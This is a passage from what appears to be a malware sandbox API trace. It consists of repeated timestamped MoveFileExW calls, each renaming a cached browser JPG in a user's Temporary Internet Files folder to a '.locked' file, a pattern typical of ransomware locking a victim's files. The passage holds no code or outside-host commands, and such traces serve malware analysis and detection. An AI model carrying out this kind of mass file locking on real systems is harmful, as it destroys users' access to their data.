Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.637] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.651] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.663] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.675] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.680] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.697] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.707] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.712] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.716] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.727] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.733] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.740] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.744] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.749] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbz9wz[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.761] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBzxW1[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbzxw1[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.779] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC06Ub[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc06ub[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.784] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC095c[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc095c[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC095c[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc095c[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.793] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0alc[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0ALC[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0alc[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.806] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0lYn[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0lyn[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0lYn[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0lyn[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.818] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0mlu[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0mlu[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0mlu[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0mlu[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.831] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.835] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0rDa[2].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0rda[2].jpg.locked"), dwFlags=0x2) returned 1 [0143.851] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBC0tCi[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbc0tci[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.865] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDK7Yy[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdk7yy[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDK7Yy[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdk7yy[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.870] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDRbsH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdrbsh[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDRbsH[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdrbsh[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.875] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDZoZR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdzozr[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBDZoZR[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbdzozr[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.881] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE97O8[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe97o8[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE97O8[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe97o8[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.886] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE9wSt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe9wst[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBE9wSt[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbe9wst[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.890] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEcHle[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbechle[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEcHle[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbechle[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.902] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdE0f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbede0f[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdE0f[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbede0f[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.907] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdoQv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedoqv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdoQv[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedoqv[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.912] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdqEy[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedqey[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdqEy[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedqey[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.917] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdtWw[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedtww[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdtWw[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedtww[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.922] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdXJj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedxjj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEdXJj[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbedxjj[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.934] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeP0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js 